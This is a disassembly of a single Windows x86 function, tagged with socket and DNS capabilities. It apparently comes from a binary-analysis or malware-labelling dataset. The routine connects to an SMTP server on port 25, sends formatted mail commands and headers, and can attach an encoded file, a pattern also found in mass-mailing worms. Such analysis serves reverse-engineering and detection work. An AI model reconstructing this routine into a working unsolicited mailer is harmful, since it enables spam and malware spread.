Function at 0x403b90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x45c]
push esi
lea esi, [ebp - 0x41c]
push ebx
sub esp, 0x4c4
push 0x400
push 0
push esi
call sub.msvcrt.dll_memset
cld
xor eax, eax
mov ecx, 0x32
rep stosb byte es:[edi], al
push 0x20
lea eax, [ebp - 0x47c]
lea edi, [ebp - 0x45c]
push 0x40a1c0
push eax
call sub.msvcrt.dll_memcpy
push 0x34
lea eax, [ebp - 0x4bc]
push 0x40a1e0
push eax
call sub.msvcrt.dll_memcpy
add esp, 0x24
lea eax, [ebp - 0x4cc]
push eax
call sub.KERNEL32.DLL_GetSystemTime
movzx eax, word [ebp - 0x4c0]
push eax
movzx eax, word [ebp - 0x4c2]
push eax
movzx eax, word [ebp - 0x4c4]
push eax
movzx eax, word [ebp - 0x4cc]
push eax
movzx eax, word [ebp - 0x4ca]
push dword [ebp + eax*4 - 0x4bc]
movzx eax, word [ebp - 0x4c6]
push eax
movzx eax, word [ebp - 0x4c8]
push dword [ebp + eax*4 - 0x47c]
push 0x40e4b3
push edi
call sub.USER32.dll_wsprintfA
add esp, 0x24
push 6
push 1
push 2
call sub.WS2_32.DLL_socket
cmp eax, 0xffffffff
mov ebx, eax
je 0x403f8a
push 0x19
mov word [ebp - 0x1c], 2
call sub.WS2_32.DLL_htons
push dword [ebp + 8]
mov word [ebp - 0x1a], ax
call sub.WS2_32.DLL_inet_addr
mov dword [ebp - 0x18], eax
inc eax
jne 0x403c9b
push dword [ebp + 8]
call sub.WS2_32.DLL_gethostbyname
test eax, eax
je 0x403f8a
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ebx
call sub.WS2_32.DLL_connect
inc eax
je 0x403f8a
push ebx
call fcn.00403b08
pop edx
test eax, eax
je 0x403f8a
push dword [ebp + 8]
push 0x40e4cd
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403b58
pop edx
test eax, eax
pop ecx
je 0x403f8a
push dword [ebp + 0xc]
push 0x40e4d7
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403b58
pop edx
test eax, eax
pop ecx
je 0x403f8a
push dword [ebp + 0x10]
push 0x40e4e9
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403b58
pop edx
test eax, eax
pop ecx
je 0x403f8a
push 0x40e4f9
push ebx
call fcn.00403b58
pop edx
test eax, eax
pop ecx
je 0x403f8a
push dword [ebp + 0xc]
push 0x40e500
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop edx
test eax, eax
pop ecx
je 0x403f8a
push dword [ebp + 0x10]
push 0x40e50d
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop edx
test eax, eax
pop ecx
je 0x403f8a
push edi
push 0x40e518
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop edx
test eax, eax
pop ecx
je 0x403f8a
push 0x40e523
push ebx
call fcn.00403aac
pop ecx
test eax, eax
pop edi
je 0x403f8a
push dword [ebp + 0x14]
push 0x40e537
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop edi
test eax, eax
pop edx
je 0x403f8a
push 0x40e545
push ebx
call fcn.00403aac
pop edx
test eax, eax
pop ecx
je 0x403f8a
push dword [ebp + 0x1c]
call sub.KERNEL32.DLL_lstrlenA
test eax, eax
je 0x403f1b
push 0x40e57a
push ebx
call fcn.00403aac
pop ecx
test eax, eax
pop edi
je 0x403f8a
push 0x40e5ad
push ebx
call fcn.00403aac
pop edi
test eax, eax
pop edx
je 0x403f8a
push 0x40e5bc
push ebx
call fcn.00403aac
pop edx
test eax, eax
pop ecx
je 0x403f8a
push 0x40e5eb
push ebx
call fcn.00403aac
pop ecx
test eax, eax
pop edi
je 0x403f8a
push dword [ebp + 0x18]
push 0x40e60d
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop edi
test eax, eax
pop edx
je 0x403f8a
push 0x40e5ad
push ebx
call fcn.00403aac
pop edx
test eax, eax
pop ecx
je 0x403f8a
push dword [ebp + 0x20]
push 0x40e614
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop ecx
test eax, eax
pop edi
je 0x403f8a
push dword [ebp + 0x20]
push 0x40e656
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop edi
test eax, eax
pop edx
je 0x403f8a
push 0x40e687
push ebx
call fcn.00403aac
pop ecx
test eax, eax
pop esi
je 0x403f8a
mov dword [ebp - 0x4d0], 0
lea eax, [ebp - 0x4d0]
push eax
push dword [ebp + 0x1c]
call fcn.00401732
mov edi, eax
pop eax
pop edx
push edi
push ebx
call fcn.00403aac
pop ecx
test eax, eax
pop esi
jne 0x403f0e
push edi
call sub.KERNEL32.DLL_GlobalFree
jmp 0x403f8a
push edi
call sub.KERNEL32.DLL_GlobalFree
push 0x40e6ad
jmp 0x403f4f
push 0x40e5bc
push ebx
call fcn.00403aac
pop edi
test eax, eax
pop edx
je 0x403f8a
push 0x40e5eb
push ebx
call fcn.00403aac
pop edx
test eax, eax
pop ecx
je 0x403f8a
push dword [ebp + 0x18]
push 0x40e60d
push esi
call sub.USER32.dll_wsprintfA
add esp, 0xc
push esi
push ebx
call fcn.00403aac
pop esi
test eax, eax
pop edi
je 0x403f8a
push 0x40e6c0
push ebx
call fcn.00403b58
pop edx
test eax, eax
pop ecx
je 0x403f8a
push 0x40e6c6
push ebx
call fcn.00403b58
pop esi
test eax, eax
pop edi
je 0x403f8a
push ebx
call sub.WS2_32.DLL_closesocket
mov eax, 1
jmp 0x403f92
push ebx
call sub.WS2_32.DLL_closesocket
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret